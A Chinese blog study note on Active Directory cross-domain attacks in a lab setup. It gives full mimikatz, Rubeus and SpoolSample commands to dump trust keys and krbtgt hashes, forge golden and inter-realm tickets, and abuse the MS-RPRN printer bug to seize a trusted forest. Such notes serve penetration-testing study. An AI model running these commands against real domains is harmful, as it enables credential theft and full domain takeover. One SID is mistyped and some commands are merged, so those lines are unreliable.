【内网学习笔记】30、跨域安全(完结)


0、前言

常见的跨域攻击方法有以下几种:

i、利用常规的渗透方法,比如 Web 漏洞

ii、利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的

iii、利用域信任关系

这里主要看第三种:域信任关系

当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。

域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。

域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递。

在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。

1、获取域信息

这里使用工具 lg 进行域内信息的收集,lg 是一款用 C++ 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。

枚举 teamssix 域中的用户组

lg.exe teamssix\.

枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系

lg.exe \\dc

枚举远程计算机的用户名

lg.exe \\dc -lu

枚举远程系统中全部用户的 SID

lg.exe \\dc -lu -sidsout

枚举远程系统指定组中的所有成员的 SID

lg.exe \\dc\administrators -lu -sidsout

2、利用域信任密钥获取目标域权限

这里环境信息为:

父域的域控:dc.teamssix.com

子域的域控:subdc.sub.teamssix.com

子域内的计算机:user4.sub.teamssix.com

子域内的普通用户:user4

在子域的域控中使用 mimikatz 获取需要的信息

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit

得到当前域的 SID 、父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据

这里的 sids 是父域的 sid,sids 后的 519 表示创建的用户属于父域的管理员组

mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit

利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中

asktgs subdc_administrator.kirbi cifs/dc.teamssix.com

将获取的 TGS 票据注入到内存中

kirbikator lsa cifs.dc.teamssix.com.kirbi

使用 dir 访问目标域控

dir \\dc.teamssix.com\c$

3、利用 krbtgt 散列值获取目标域的权限

如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。

首先获取当前子域和父域的 SID 值,可以使用以下工具或命令

wmic useraccount get caption,sidwhoami /useradfind.exe -sc u:user4 | findstr SidGet-DomainSID sub.teamssix.com  # PowerView 里的命令

接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可

mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

在子域普通用户权限的计算机中构造黄金票据

mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit

4、利用无约束委派和 MS-RPRN 获取信任林权限

如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的哈希值。

假设这里获取了 teamssix.com 域的域控权限,且 0day.org 与 teamssix.com 域有林信任关系

首先在 teamssix.com 的域控上监听身份认证请求

rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
interval: 用于设置监控的时间间隔filteruser: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名

开启监听后,使用 SpoolSample 工具让 OWA2010SP3.0day.org 向 dc.teamssix.com 发送身份认证请求

SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com

获得票据后,使用 rubeus 将票据注入内存

rubeus.exe ptt /ticket:<TGT 票据>

使用 mimikatz 获取目标的 krbtgt 散列值

mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0day\krbtgt" exit

接下来,构造黄金票据并将其注入内存,就能够获得 0day.org 域控的权限了

mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit

参考文章:

https://blog.csdn.net/qq_34640691/article/details/111881910

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录